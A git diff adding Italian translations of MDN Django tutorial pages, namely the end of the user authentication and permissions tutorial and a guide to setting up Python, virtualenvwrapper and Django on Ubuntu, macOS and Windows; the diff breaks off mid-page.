+<strong>        permissions = (("can_mark_returned", "Set book as returned"),)  </strong> </pre>
+
+<p>Potremmo quindi assegnare l'autorizzazione a un gruppo "Bibliotecario" nel sito di amministrazione. Apri il catalogo / models.py e aggiungi l'autorizzazione come mostrato sopra. Dovrai rieseguire le tue migrazioni (esegui <code>python3 manage.py makemigrations</code> e <code>python3 manage.py migrate</code>) per aggiornare il database.</p>
+
+<h3 id="Templates">Templates</h3>
+
+<p>I permessi correnti di un utente sono storati in una variabile <code>\{{ perms }}</code>. Puoi verificare se l'utente corrente ha un permesso particolare usando il nome specifico della variabile all'interno della "app" Django associata, ad es. <code>\{{ perms.catalog.can_mark_returned }}</code> sarà <code>True</code> se lo user ha i permessi, e <code>False</code> altrimenti. Tipicamente testiamo i permessi utilizzando il tag <code>{% if %}</code> come mostrato:</p>
+
+<pre class="brush: python">{% if perms.catalog.can_mark_returned %}
+    &lt;!-- We can mark a BookInstance as returned. --&gt;
+    &lt;!-- Perhaps add code to link to a "book return" view here. --&gt;
+{% endif %}
+</pre>
+
+<h3 id="Views">Views</h3>
+
+<p>Le autorizzazioni possono essere verificate nella funzione vista utilizzando il decoratore <code>permission_required</code> o in una visualizzazione basata su classi che utilizza <code>PermissionRequiredMixin</code>. Lo schema e il comportamento sono gli stessi dell'autenticazione di accesso, anche se, naturalmente, è possibile che sia necessario aggiungere multiple autorizzazioni.</p>
+
+<p>Decoratore:</p>
+
+<pre class="brush: python">from django.contrib.auth.decorators import permission_required
+
+@permission_required('catalog.can_mark_returned')
+@permission_required('catalog.can_edit')
+def my_view(request):
+    ...</pre>
+
+<p>Views.</p>
+
+<pre class="brush: python">from django.contrib.auth.mixins import PermissionRequiredMixin
+
+class MyView(PermissionRequiredMixin, View):
+    permission_required = 'catalog.can_mark_returned'
+    # Or multiple permissions
+    permission_required = ('catalog.can_mark_returned', 'catalog.can_edit')
+    # Note that 'catalog.can_edit' is just an example
+    # the catalog application doesn't have such permission!</pre>
+
+<h3 id="Esempio">Esempio</h3>
+
+<p>Non aggiorneremo la LocalLibrary qui; forse nel prossimo tutorial!</p>
+
+<h2 id="Prova_tu">Prova tu</h2>
+
+<p>In precedenza in questo articolo, vi abbiamo mostrato come creare una pagina per l'utente corrente che elenca i libri che hanno preso in prestito. La sfida ora è creare una pagina simile che sia visibile solo per i bibliotecari, che mostri tutti i libri presi in prestito e che includa il nome di ciascun mutuatario.</p>
+
+<p>Dovresti essere in grado di seguire lo stesso schema dell'altra vista. La differenza principale è che dovrai limitare la visualizzazione solo ai bibliotecari. Puoi farlo a seconda che l'utente sia un membro del personale (decoratore di funzioni: <code>staff_member_required</code>, template variabile: <code>user.is_staff</code>) ma ti raccomandiamo invece di utilizzare il permesso <code>can_mark_returned</code> e <code>PermissionRequiredMixin</code>, come descritto sopra nella sezione precedente.</p>
+
+<div class="warning">
+<p><strong>Importante</strong>: Ricordati di non utilizzare il superutente per i test basati sulle autorizzazioni (i controlli delle autorizzazioni restituiscono sempre true per i superutenti, anche se non è ancora stata definita un'autorizzazione!). Invece, crea un utente di libreria e aggiungi il permesso richiesto.</p>
+</div>
+
+<p>Quando hai finito, la tua pagina dovrebbe apparire come lo screenshot qui sotto.</p>
+
+<p><img alt="All borrowed books, restricted to librarian" src="https://mdn.mozillademos.org/files/14115/library_borrowed_all.png" style="border-style: solid; border-width: 1px; display: block; height: 283px; margin: 0px auto; width: 500px;"></p>
+
+<ul>
+</ul>
+
+<h2 id="Sommario">Sommario</h2>
+
+<p>Lavoro eccellente: ora hai creato un sito Web in cui i membri della biblioteca possono accedere e visualizzare il proprio contenuto e che i bibliotecari (con il permesso corretto) possono utilizzare per visualizzare tutti i libri in prestito ei loro mutuatari. Al momento stiamo ancora solo visualizzando i contenuti, ma gli stessi principi e tecniche sono utilizzati quando si desidera iniziare a modificare e aggiungere dati.</p>
+
+<p>Nel nostro prossimo articolo, vedremo come è possibile utilizzare i moduli di Django per raccogliere input dell'utente e quindi iniziare a modificare alcuni dei nostri dati memorizzati.</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li><a href="https://docs.djangoproject.com/en/2.1/topics/auth/">User authentication in Django</a> (Django docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/2.1/topics/auth/default//">Using the (default) Django authentication system</a> (Django docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/2.1/topics/class-based-views/intro/#decorating-class-based-views">Introduction to class-based views &gt; Decorating class-based views</a> (Django docs)</li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/Server-side/Django/Sessions", "Learn/Server-side/Django/Forms", "Learn/Server-side/Django")}}</p>
+
+<p> </p>
+
+<h2 id="In_questo_modulo">In questo modulo</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Introduction">Django introduction</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/development_environment">Setting up a Django development environment</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">Django Tutorial: The Local Library website</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">Django Tutorial Part 2: Creating a skeleton website</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Models">Django Tutorial Part 3: Using models</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Admin_site">Django Tutorial Part 4: Django admin site</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Home_page">Django Tutorial Part 5: Creating our home page</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Generic_views">Django Tutorial Part 6: Generic list and detail views</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Sessions">Django Tutorial Part 7: Sessions framework</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Authentication">Django Tutorial Part 8: User authentication and permissions</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Forms">Django Tutorial Part 9: Working with forms</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Testing">Django Tutorial Part 10: Testing a Django web application</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Deployment">Django Tutorial Part 11: Deploying Django to production</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/web_application_security">Django web application security</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li>
+</ul>
+
+<p> </p>
diff --git a/files/it/learn/server-side/django/development_environment/index.html b/files/it/learn/server-side/django/development_environment/index.html
new file mode 100644
index 0000000000..75d6cd9ffb
--- /dev/null
+++ b/files/it/learn/server-side/django/development_environment/index.html
@@ -0,0 +1,415 @@
+---
+title: Impostazione ambiente di sviluppo per Django
+slug: Learn/Server-side/Django/development_environment
+tags:
+  - Ambiente di sviluppo
+  - Intro
+  - Principiante
+  - Python
+  - django
+translation_of: Learn/Server-side/Django/development_environment
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Server-side/Django/Introduction", "Learn/Server-side/Django/Tutorial_local_library_website", "Learn/Server-side/Django")}}</div>
+
+<p class="summary">Ora che sai a cosa serve Django, ti mostreremo come creare e testare un ambiente di sviluppo per Django su Windows, Linux (Ubuntu), e macOS — qualsiasi sistema operativo, comune, tu stia usando, questo articolo ti darà tutto il necessario per iniziare a sviluppare applicazioni Django.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisiti:</th>
+   <td>Saper aprire un terminale / linea di comando. Saper installare un pacchetto software sul tuo sistema operativo.</td>
+  </tr>
+  <tr>
+   <th scope="row">Obiettivo:</th>
+   <td>Avere un ambiente di sviluppo per Django (2.0) sul tuo computer.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Panoramica_sullambiente_di_sviluppo_per_Django">Panoramica sull'ambiente di sviluppo per Django</h2>
+
+<p>Django rende molto semplice impostare il tuo computer per iniziare lo sviluppo di web application. Questa sezione spiega cosa avrai nel tuo ambiente di sviluppo, e fornirà una panoramica delle possibili impostazioni e configurazioni. Il resto dell'articolo spiega il metodo <em>raccomandato</em> per installare l'ambiente di sviluppo di Django su Ubuntu, macOS, e Windows, ed infine come testarlo.</p>
+
+<h3 id="Cosa_è_lambiente_di_sviluppo_Django">Cosa è l'ambiente di sviluppo Django?</h3>
+
+<p>L'ambiente di sviluppo è un'installazione di Django sul tuo computer che puoi usare per sviluppare e testare applicazioni Django prima di metterle in ambiente di produzione.</p>
+
+<p>Gli strumenti principali che Django fornisce sono una serie di script Python per creare e lavorare sui progetti Django, insieme ad un semplice <em>webserver</em> di sviluppo che puoi usare per testare localmente (ad es. sul tuo computer, non su un web server esterno) le applicazione web di Django usando un browser sul tuo computer.</p>
+
+<p>Ci sono altri strumenti periferici, che formano l'ambiente di sviluppo, che non tratteremo qui. Questi includono cose come <a href="/en-US/docs/Learn/Common_questions/Available_text_editors">editor di testo</a> o IDE per modificare il codice, e uno strumento per gestire il controllo di versione come <a href="https://git-scm.com/">Git</a> per gestire in modo affidabile differenti versioni del tuo codice. Assumiamo che tu abbia già un editor di testo installato.</p>
+
+<h3 id="Quali_sono_le_opzioni_di_setup_di_Django">Quali sono le opzioni di setup di Django?</h3>
+
+<p>Django è estremamente flessibile in termni di come e dove può essere installato e configurato. Django può essere:</p>
+
+<ul>
+ <li>installato su differenti sistemi operativi.</li>
+ <li>usato con Python 3 e Python 2.</li>
+ <li>installato dal codice sorgente, da Python Package Index (PyPi) e in molti altri casi installato dal package manager presente nel sistema operativo installato.</li>
+ <li>configurato per usare uno o più database, che potrebbero necessitare di essere installati e configurati separatamente.</li>
+ <li>eseguito sull'ambiente Python di sistema o in un virtual enviroment Python separato.</li>
+</ul>
+
+<p>Ognuna di queste opzioni richiede configurazioni e setup leggermente diverse. La seguente sottosezione spiega alcune di queste possibilità. Per il resto dell'articolo mostreremo come impostare Django in un piccolo numero di sistemi operativi, e questo setup sarà assunto valido per tutto il modulo.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Altri possbili metodi di installazione sono descritti nella documentazione ufficiale di Django. Diamo i link al <a href="#furtherreading">documento appropriato</a> più avanti.</p>
+</div>
+
+<h4 id="Quali_sistemi_operativi_sono_supportati">Quali sistemi operativi sono supportati?</h4>
+
+<p>Le applicazioni Django possono essere eseguite su quasi tutte le macchine che possono eseguire il linguaggio Python 3: Windows, macOS, Linux/Unix, Solaris, per nominarne alcuni. Quasi tutti i computer hanno le caratteristiche per eseguire Django durante lo sviluppo.</p>
+
+<p>In questo articolo tratteremo dei casi Windows, macOS, e Linux/Unix.</p>
+
+<h4 id="Quale_versione_di_Python_dovrei_usare">Quale versione di Python dovrei usare?</h4>
+
+<p>Django esegue sopra Python, e può essere usato sia con Python 2 o Python 3 (o entrambi). Quando scegli una versione devi stare attento che:</p>
+
+<ul>
+ <li>Python 2 è la versione legacy del linguaggio e non riceve nessuna novità ma ha un repository enorme per librerie di terze parti da usate da sviluppatori ( alcune delle quali sono sono disponbili per Python 3).</li>
+ <li>Python 3 è un aggiornamento di Python 2 che, anche se simile, è più consistente e semplice da usare. Python 3 è  il futuro del Python e contina ad evolversi.</li>
+ <li>è possibile usare entrambe le versioni usando librerie di compatibilità (come <a href="http://pythonhosted.org/six/">six</a>), tuttavia non senza un ulteriore sforzo.</li>
+</ul>
+
+<ul>
+</ul>
+
+<div class="note">
+<p><strong>Nota</strong>: Storicamente Python 2 era la scelta più realistica, perché poche delle librerie di terze parti erano disponibili per Python 3. Il trend corrente è che molti dei nuovi package su <a href="https://pypi.python.org/pypi">Python Package Index</a> (PyPi) supportano entrambe le versioni di Python. Mentre esistono ancora moli package che sono disponibili esclusivamente per  Python 2, scegliere Python 3 è ora una scelta fattibile.</p>
+</div>
+
+<p>Ti raccomandiamo di usare l'ultima versione di Python 3 a meno che il sito non dipenda da librerie di terze parti disponibili solo per Python 2.</p>
+
+<p>Questo articolo spiegherà come installare un ambiente per Python 3 (il setup equivalente per Python 2 dovrebbe essere molto simile).</p>
+
+<h4 id="Dove_posso_scaricare_Django">Dove posso scaricare Django?</h4>
+
+<p>Ci sono tre posti dove scaricare Django:</p>
+
+<ul>
+ <li>Il Python Package Repository (PyPi), usando <em>pip</em>. Questo è il modo migliore per avere l'ultima versione stabile di Django.</li>
+ <li>Installa una versione dal tuo gestore di pacchetti. Distribuzioni di Django incluse nei sistemi operativi offrono un sistema di installazione familiare. Nota che le versioni dei pacchetti possono essere piuttosto vecchie, e possono essere installati solo quelli dell'ambiente Python (che potrebbe non essere quello che volete).</li>
+ <li>Installarlo da codice sorgente. Puoi prendere e installare l'ultima versione di Python da codice sorgente. Questo non è raccomandato per i novizi, ma sarà necessario quando sarai pronto a contribuire a Django.</li>
+</ul>
+
+<p>Questo articolo mostra come installare Django da PyPi, in modo da avere l'ultima versione stabile.</p>
+
+<h4 id="Quale_database">Quale database?</h4>
+
+<p>Django supporta 4 database principali (PostgreSQL, MySQL, Oracle e SQLite), e ci sono librerie che forniscono vari livelli di supporto ai più popolari  database SQL e NOSQL. Ti raccomandiamo di scegliere lo stesso database in sviluppo e in produzione (nonostante Django astragga le differenze tra i database usando il suo Object-Relational Mapper (ORM), ci sono <a href="https://docs.djangoproject.com/en/1.10/ref/databases/">potenziali problemi</a> che è bene evitare).</p>
+
+<p>Per questo articolo (e molti altri di questo modulo) useremo <em>SQLite</em>,che memorizza i dati in un file. SQLite è da intendersi come un database leggero senza supporto per un alto livello di concorrenza. Tutta via è una scelta eccellente per applicazioni  che fanno principalmente sola lettura.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Django è configurato per usare SQLite di default quando fai partire il tuo progetto usando gli strumenti standard (<em>django-admin</em>).  E' una scelta ottima quando stai iniziando perchè non necessita di configurazioni. </p>
+</div>
+
+<h4 id="Installare_da_sistema_o_in_un_ambiente_virtuale_di_Python">Installare da sistema o in un ambiente virtuale di Python?</h4>
+
+<p>Quando installi Python 3 sul tuo computer hai un singolo ambiente globale (inteso come insieme di pacchetti installati) per il tuo codice Python, che puoi gestire usando <em>pip3</em>. Puoi installare qualsiasi pacchetto Python tu voglia, ma puoi installarne solo una certa versione alla volta. Questo vuol dire che ogni cambiamento che fai in una applicazione Python potenzialmente può aver effetto sulle altre, e quindi puoi avere una sola versione di Django alla volta.</p>
+
+<p>Sviluppatori Python/Django con un po di esperienza spesso decidono di eseguire le loro applicazioni in un <em>ambiente Python virtuale.</em> Questo permette a gli sviluppatori di avere diversi ambienti di Django in un singolo computer, permettendogli di creare nuovi siti web (usando l'ultima versione corrente di Django) mentre mantengono siti web che fanno affidamento a versioni più vecchie. Gli sviluppatori del team di Django raccomandano di usare questi ambienti virtuali!</p>
+
+<p>Quando si sta iniziando l'approccio iniziale che usate non è importante. Sebbene l'installazione sia un po' più facile, abbiamo deciso di mostrarti come installare Django direttamente sul Python 3 di sistema.</p>
+
+<div class="warning">
+<p><strong>Importante</strong>: Il resto dell'articolo mostra come impostare Django in un ambiente con Python 3, su Ubuntu Linux, Mac OS X, e Windows 10.</p>
+</div>
+
+<h2 id="Installare_Python_3">Installare Python 3</h2>
+
+<p>Per usare Django devi installare <em>Python 3</em> sul tuo sistema operativo. Avrai bisogno anche di <a href="https://pypi.python.org/pypi">Python Package Index</a>  — <em>pip3</em> — che viene usato per gestire (installare, aggiornare, e rimuovere) package/librerie Python usate da Django altre tue applicazioni Python.</p>
+
+<p>Questa sezione mostra brevemente come puoi controllare quali versioni sono presenti, e se necessario installare una nuova versione, per Ubuntu Linux 16.04, Mac OS X, e Windows 10.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: In base alla tua piattaforma, potrebbe essere possibile installare Python/pip dal gestore di pacchetti del sistema operativo o tramite altri meccanismi. Per molte piattaforme puoi scaricare i file di installazione da <a href="https://www.python.org/downloads/">https://www.python.org/downloads/</a> usando le istruzioni per il vostro sistema operativo.</p>
+</div>
+
+<h3 id="Ubuntu_16.04">Ubuntu 16.04</h3>
+
+<p>Ubuntu Linux include Python 3 di default. Puoi aver conferma di questo eseguendo il seguente comando nel terminale bash:</p>
+
+<pre class="brush: bash notranslate">python3 -V
+ Python 3.5.2</pre>
+
+<p>Tuttavia il Python Package Index di cui hai bisogno per installare package Python 3 (incluso Django)  <strong>non</strong> è disponibile di default. Puoi installare pip3 dal terminale bash usando:</p>
+
+<pre class="brush: bash notranslate">sudo apt-get install python3-pip
+</pre>
+
+<h3 id="Mac_OS_X">Mac OS X</h3>
+
+<p>Mac OS X "El Capitan" non include Python 3. Puoi averne conferma eseguendo il seguente comando nel terminale bash:</p>
+
+<pre class="brush: bash notranslate">python3 -V
+ -bash: python3: command not found</pre>
+
+<p>Puoi installare facilmente Python 3 (inseme a <em>pip3</em>) da <a href="https://www.python.org/">python.org</a>:</p>
+
+<ol>
+ <li>Scarica l'installer:
+  <ol>
+   <li>Vai su <a href="https://www.python.org/downloads/">https://www.python.org/downloads/</a></li>
+   <li>Seleziona <strong>Download Python 3.5.2</strong> (il <em>minor</em> del numero di versione esatto può essere differente).</li>
+  </ol>
+ </li>
+ <li>Cercare il file usando <em>Finder</em>, fai doppio-click sul file. Segui le istruzioni dell'installazione.</li>
+</ol>
+
+<p>Per essere sicuro della corretta installazione di <em>Python 3</em>:</p>
+
+<pre class="brush: bash notranslate">python3 -V
+ Python 3.5.20
+</pre>
+
+<p>Similmente puoi controllare che <em>pip3</em> sia installato guardando i package disponibili:</p>
+
+<pre class="brush: bash notranslate">pip3 list</pre>
+
+<h3 id="Windows_10">Windows 10</h3>
+
+<p>Windows non include Python di default, ma puoi installarlo facilmente (insieme a <em>pip3</em>) da<a href="https://www.python.org/"> python.org</a>:</p>
+
+<ol>
+ <li>Scarica l'installer:
+  <ol>
+   <li>Vai su <a href="https://www.python.org/downloads/">https://www.python.org/downloads/</a></li>
+   <li>Seleziona <strong>Download Python 3.5.2</strong> (il <em>minor</em> del numero di versione esatto può essere differente).</li>
+  </ol>
+ </li>
+ <li>Installa Python facendo double-click sul file scaricato e segui le istruzioni</li>
+</ol>
+
+<p>Puoi verificare che Python sia stato installato correttamente digitando sulla linea di comando:</p>
+
+<pre class="brush: bash notranslate">py -3 -V
+ Python 3.5.2
+</pre>
+
+<p>L'installer di Windows contiene <em>pip3</em> (Python package manager) di default. Puoi vedere la lista dei pacchetti installati usando:</p>
+
+<pre class="brush: bash notranslate">pip3 list
+</pre>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: L'installer dovrebbe essere impostato ovunque tu voglia, perché il comando di sopra funzioni. Se tuttavia dovessi ottenere un messaggio che Python non può essere trovato, potresti aver dimenticato di aggiungerlo al path di sistema. Puoi farlo eseguendo di nuovo l'installer, scegliendo "Modify" e selezionando "Add Pyhton to environment variables" nella seconda pagina.</p>
+</div>
+
+<h2 id="Utilizzare_Django_allinterno_di_un_ambiente_virtuale_Python">Utilizzare Django all'interno di un ambiente virtuale Python</h2>
+
+<p>Le librerie che useremo per la creazione dei nostri ambienti virtuali sono <a href="https://virtualenvwrapper.readthedocs.io/en/latest/index.html">virtualenvwrapper</a> (Linux e macOS) e <a href="https://pypi.python.org/pypi/virtualenvwrapper-win">virtualenvwrapper-win</a> (Windows), che a loro volta utilizzano entrambi il tool <a href="https://developer.mozilla.org/en-US/docs/Python/Virtualenv">virtualenv</a>. Gli strumenti wrapper creano un'interfaccia coerente per gestire interfacce su tutte le piattaforme.</p>
+
+<h3 id="Installare_il_software_virtual_environment">Installare il software virtual environment</h3>
+
+<h4 id="Setup_del_virtual_environment_su_Ubuntu">Setup del virtual environment su Ubuntu</h4>
+
+<p>Dopo l'installazione di Python e pip puoi installare <em>virtualenvwrapper</em> (che comprende <em>virtualenv</em>). La guida ufficiale di installazione si può trovare <a href="http://virtualenvwrapper.readthedocs.io/en/latest/install.html">qui</a>, oppure seguire le istruzioni sotto.</p>
+
+<p>Installare il tool utilizzando <em>pip3</em>:</p>
+
+<pre class="notranslate"><code>sudo pip3 install virtualenvwrapper</code>
+</pre>
+
+<p>Poi aggiungi le seguenti linee alla fine del tuo file di startup della shell (questo è un file nascosto chiamato <strong>.bashrc</strong> nella tua directory home). Questo imposta la posizione in cui dovrebbero vivere i virtual environment, la posizione delle tue directory di sviluppo dei progetti e la posizione dello script installato con questo pacchetto:</p>
+
+<pre class="notranslate"><code>export WORKON_HOME=$HOME/.virtualenvs
+export VIRTUALENVWRAPPER_PYTHON=/usr/bin/python3
+export VIRTUALENVWRAPPER_VIRTUALENV_ARGS=' -p /usr/bin/python3 '
+export PROJECT_HOME=$HOME/Devel
+source /usr/local/bin/virtualenvwrapper.sh</code>
+</pre>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Le variabili <code>VIRTUALENVWRAPPER_PYTHON</code> e <code>VIRTUALENVWRAPPER_VIRTUALENV_ARGS</code> puntano alla posizione di installazione normale per Python3, e <code>source /usr/local/bin/virtualenvwrapper.sh</code> punta alla posizione normale dello script <code>virtualenvwrapper.sh</code>. Se il <em>virtualenv</em> non funziona quando lo si testa, una cosa da controllare è che Python e lo script siano nella posizione attesa (e quindi modificare il file di startup adeguatamente).<br>
+ <br>
+ Puoi trovare le posizioni corrette per il tuo sistema utilizzando i comandi <code>which virtualenvwrapper.sh</code> e <code>which python3</code>.</p>
+</div>
+
+<p>Poi ricarica il file di startup eseguendo il seguente comando nel terminale:</p>
+
+<pre class="notranslate"><code>source ~/.bashrc</code></pre>
+
+<p>A questo punto si dovrebbe vedere un blocco di script che viene eseguito come mostrato sotto:</p>
+
+<pre class="notranslate"><code>virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/premkproject
+virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/postmkproject
+...
+virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/preactivate
+virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/postactivate
+virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/get_env_details</code></pre>
+
+<p>Ora puoi creare un nuovo ambiente virtuale con il comando <code>mkvirtualenv</code>.</p>
+
+<h4 id="Setup_di_un_ambiente_virtuale_su_macOS">Setup di un ambiente virtuale su macOS</h4>
+
+<p>Impostare un <em>virtualenvwrapper</em> su macOS è quasi esattamente la stessa cosa che su Ubuntu (ancora una volta, si possono seguire le istruzioni o della guida <a href="http://virtualenvwrapper.readthedocs.io/en/latest/install.html">official installation</a> oppure quelle qui sotto.</p>
+
+<p>Installare <em>virtualenvwrapper</em> (e costruire <em>virtualenv</em>) utilizzando <em>pip</em> come mostrato.</p>
+
+<pre class="notranslate"><code>sudo pip3 install virtualenvwrapper</code></pre>
+
+<p>Poi aggiungi le seguenti linee alla fine del file di startup della shell.</p>
+
+<pre class="notranslate"><code>export WORKON_HOME=$HOME/.virtualenvs
+export VIRTUALENVWRAPPER_PYTHON=/usr/bin/python3
+export PROJECT_HOME=$HOME/Devel
+source /usr/local/bin/virtualenvwrapper.sh</code></pre>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: la variabile <code>VIRTUALENVWRAPPER_PYTHON</code> punta alla normale posizione di installazione per Python3, e <code>source /usr/local/bin/virtualenvwrapper.sh</code> punta alla normale posizione dello script <code>virtualenvwrapper.sh</code>. Se il <em>virtualenv</em> non funziona quando lo si testa, una cosa da controllare è che Python e lo script siano nella posizione attesa (e poi modificare il file di startup adeguatamente).</p>
+
+<p>Per esempio, un test di installazione su macOS avrà le seguenti linee necessarie nel file di startup:</p>
+
+<pre class="notranslate"><code>export WORKON_HOME=$HOME/.virtualenvs
+export VIRTUALENVWRAPPER_PYTHON=/Library/Frameworks/Python.framework/Versions/3.7/bin/python3
+export PROJECT_HOME=$HOME/Devel
+source /Library/Frameworks/Python.framework/Versions/3.7/bin/virtualenvwrapper.sh</code></pre>
+
+<p>Puoi trovare le posizioni corrette per il tuo sistema utilizzando i comandi <code>which virtualenvwrapper.sh</code> e <code>which python3</code>.</p>
+</div>
+
+<p>Queste sono le stesse linee come per Ubuntu, ma il file di startup è il file nascosto chiamato (diversamente) <strong>.bash_profile</strong> nella tua cartella home.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Se non riesci a trovare <strong>.bash_profile</strong> per modificarlo nel finder, puoi anche aprirlo nel terminale utilizzando nano.</p>
+
+<p>I comandi saranno simili a questi:</p>
+
+<pre class="notranslate"><code>cd ~  # Navigate to my home directory
+ls -la #List the content of the directory. YOu should see .bash_profile
+nano .bash_profile # Open the file in the nano text editor, within the terminal
+# Scroll to the end of the file, and copy in the lines above
+# Use Ctrl+X to exit nano, Choose Y to save the file.</code>
+</pre>
+</div>
+
+<p>Poi ricarica il file di startup facendo la seguente chiamata nel terminale:</p>
+
+<pre class="notranslate"><code>source ~/.bash_profile</code></pre>
+
+<p>A questo punto, si dovrebbero vedere una serie di script che vengono eseguiti (gli stessi script dell'installazione in Ubuntu). Ora dovresti essere in grado di creare un nuovo virtual environment con il comando <code>mkvirtualenv</code>.</p>
+
+<h4 id="Setup_del_virtual_environment_Windows_10">Setup del virtual environment Windows 10</h4>
+
+<p>Installare <a href="https://pypi.python.org/pypi/virtualenvwrapper-win">virtualenvwrapper-win</a> è anche più semplice di settare <em>virtualenvwrapper</em> perché non hai bisogno di configurare dove i tool memorizzano l'informazione dei virtual environment (c'è un valore di dafault). Tutto ciò che devi fare è eseguire il seguente comando nel prompt dei comandi:</p>
+
+<pre class="notranslate"><code>pip3 install virtualenvwrapper-win</code></pre>
+
+<p>Ora sei in grado di creare un nuovo virtual environment con il comando <code>mkvirtualenv</code>.</p>
+
+<h3 id="Creazione_di_un_virtual_environment">Creazione di un virtual environment</h3>
+
+<p>Una volta installato <em>virtualenvwrapper</em> o <em>virtualenvwrapper-win</em> allora lavorare con virtual environment è molto simile su tutte le piattaforme.</p>
+
+<p>Ora puoi creare un nuovo virtual environment col comando <code>mkvirtualenv</code> . Quando questo comando viene eseguito vedrai l'ambiente che viene settato (ciò che vedrai è leggermente specifico della piattaforma). Quando il comando viene completato il nuovo ambiente virtuale sarà attivo — potrai vederlo perché l'inizio del prompt sarà il nome dell'environment tra parentesi (sotto mostriamo questo per Ubuntu, ma la linea finale è simile anche per Windows e macOS).</p>
+
+<pre class="notranslate"><code>$ mkvirtualenv my_django_environment
+
+Running virtualenv with interpreter /usr/bin/python3
+...
+virtualenvwrapper.user_scripts creating /home/ubuntu/.virtualenvs/t_env7/bin/get_env_details
+(my_django_environment) ubuntu@ubuntu:~$</code>
+</pre>
+
+<p>Ora che sei dentro il virtual environment puoi installare Django e iniziare a sviluppare.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Da ora in questo articolo (e in effetti nel modulo) considerare che ogni comando venga eseguito in un virtual environment Python come quello che abbiamo settato sopra.</p>
+</div>
+
+<h3 id="Utilizzare_un_Ambiente_Virtuale">Utilizzare un Ambiente Virtuale</h3>
+
+<p>Ci sono solo pochi altri comandi utili che dovresti conoscere (ce ne sono molti nella documentazione del tool, ma questi sono quelli che userai regolarmente):</p>
+
+<ul>
+ <li><code>deactivate</code> — Esci dall'attuale virtual environment Python</li>
+ <li><code>workon</code> — Elenca i virtual environment disponibili</li>
+ <li><code>workon name_of_environment</code> — Attiva il virtual environment Python specificato</li>
+ <li><code>rmvirtualenv name_of_environment</code> — Rimuovi il virtual environment specificato.</li>
+</ul>
+
+<h2 id="Installare_Django">Installare Django</h2>
+
+<p>Una volta che hai installato <em>Python 3</em> e <em>pip3</em>, e creato un virtual environment, puoi usare <em>pip3</em> per installare Django.</p>
+
+<pre class="brush: bash notranslate">pip3 install django
+</pre>
+
+<p>Puoi testare se Django è installato eseguendo il seguente comando (questo verifica che Python riesca a trovare il modulo Django):</p>
+
+<pre class="brush: bash notranslate"># Linux/Mac OS X
+python3 -m django --version
+ 1.10.10
+
+# Windows
+py -3 -m django --version
+ 1.10.10
+</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Su Windows puoi eseguire script <em>Python 3</em> usando il comando <code>py -3</code>, mentre su Linux/Mac OSX, il comando è <code>python3</code>.</p>
+</div>
+
+<div class="warning">
+<p><strong>Importante</strong>: Il resto di questo <strong>modulo </strong>usa, per invocare Python 3  il comando <em>Linux</em>  (<code>python3</code>) . Se stai lavorando su <em>Windows usa</em>: <code>py -3</code></p>
+</div>
+
+<h2 id="Testare_la_tua_installazione">Testare la tua installazione</h2>
+
+<p>Il test sopra funziona, ma non è molto divertente. Un test più interessante è creare lo scheletro di un progetto e vederlo funzionare. Per farlo, andate tramite linea di comando/terminale dove volete memorizzare le applicazioni Django. Create una cartella per il sito di test ed entrateci.</p>
+
+<pre class="brush: bash notranslate">mkdir django_test
+cd django_test
+</pre>
+
+<p>Ora si può creare lo scheletro di un nuovo sito chiamata "<em>mytestsite</em>" utilizzando il tool <strong>django-admin </strong>come mostrato<strong>.</strong> Dopo la creazione del sito potete esplorare la cartella creata, e troverete lo script principale per la gestione dei progetti, chiamato <strong>manage.py</strong>.</p>
+
+<pre class="brush: bash notranslate">django-admin startproject mytestsite
+cd mytestsite</pre>
+
+<p>Possiamo avviare il <em>server web di sviluppo</em> dalla cartella usando <strong>manage.py</strong> e il comando <code>runserver</code>.</p>
+
+<pre class="brush: bash notranslate">$ <strong>python3 manage.py runserver </strong>
+Performing system checks...
+
+System check identified no issues (0 silenced).
+
+You have 13 unapplied migration(s). Your project may not work properly until you apply the migrations for app(s): admin, auth, contenttypes, sessions.
+Run 'python manage.py migrate' to apply them.
+
+September 19, 2016 - 23:31:14
+Django version 1.10.1, using settings 'mysite.settings'
+Starting development server at http://127.0.0.1:8000/
+Quit the server with CONTROL-C.
+</pre>
+
+<div class="note">
